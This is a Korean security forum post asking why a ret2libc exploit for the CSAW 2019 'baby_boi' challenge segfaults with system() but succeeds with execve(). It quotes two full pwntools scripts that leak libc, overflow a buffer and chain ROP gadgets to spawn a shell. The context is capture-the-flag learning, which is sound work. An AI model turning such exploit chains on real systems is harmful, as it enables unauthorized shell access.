|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1978 [복사]
이번 CSAW 2019에서 baby_boi 문제를 푸는데 저는 system("/bin/sh")으로 쉘을 실행시키려고 하는데 계속 세그먼트 폴트 오류가 떴습니다. core 파일 디버깅 해봤는데 라이브러리 안에서 계속 접근할 수 없는 주소라고 나오네요. 결국 문제를 풀지 못하고 대회가 끝난 후 풀이를 보는데 다들 system("/bin/sh")가 아니라 execve("/bin/sh",0,0)으로 ret 하더군요.
다른 사람들이 사용한 익스 코드에서 execve()를 system()으로 바꿧는데 세그먼트 폴트가 뜨고...(당연히 주소도 구해서 바꿔줬습니다.)
execve()로 하면 성공하고... 혹시 이 두 함수의 차이가 있나요?
아래는 제가 사용한 익스 코드입니다.
======== exp.py ==========
from pwn import *
p = process('./baby_boi')
printf_offset = 0x64e80
system_offset = 0x4f440
pop_rdi = 0x400793
data = p.recv()
data = data.split("\n")[1]
print 'first split = ', data
data = data.split(" ")[3]
print 'second split = ', data
log.info('\t === GADGET ===')
printf_addr = int(data, 16)
libc_base = printf_addr - printf_offset
system_addr = libc_base + system_offset
binsh_addr = system_addr + 0x164a5a
log.info('libc_base = 0x%08x'%libc_base)
log.info('printf_addr = 0x%08x'%printf_addr)
log.info('system_addr = 0x%08x'%system_addr)
log.info('pop_rdi = 0x%08x'%pop_rdi)
payload = ""
payload += "A"*40
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
log.info('\t === EXPLOIT START ===')
p.sendline(payload)
p.interactive()
==========================
아래는 다른사람의 풀이 코드입니다.
출처 : https://github.com/KEERRO/ctf-writeups/tree/master/CSAW%20CTF'19%20QUALS/BABY%20BOI
========= solve.py ===========
from pwn import *
env = {"LD_PRELOAD":"./libc-2.27.so"}
#p = process("./baby_boi",env=env)
p = remote("pwn.chal.csaw.io",1005)
data = p.recv()
data = data.split("\n")[1]
data = data.split(" ")[3]
printf_libc = int(data,16)
base = printf_libc - 0x0000000000064e80
execve = base + 0x00000000000e4e30
binsh = execve + 0xcf06a
print "base: ",hex(base)
print "execve_libc: ",hex(execve)
print "binsh: ",hex(binsh)
pop_rdi = 0x0000000000400793
paylaod = ""
paylaod += "A"*40
paylaod += p64(0x0000000000400791)
paylaod += p64(0)
paylaod += p64(0)
paylaod += p64(pop_rdi)
paylaod += p64(binsh)
paylaod += p64(execve)
p.sendline(paylaod)
p.interactive()
========================== |
Hit : 3373 Date : 2019/09/16 04:56
|
1576, 
1/79 
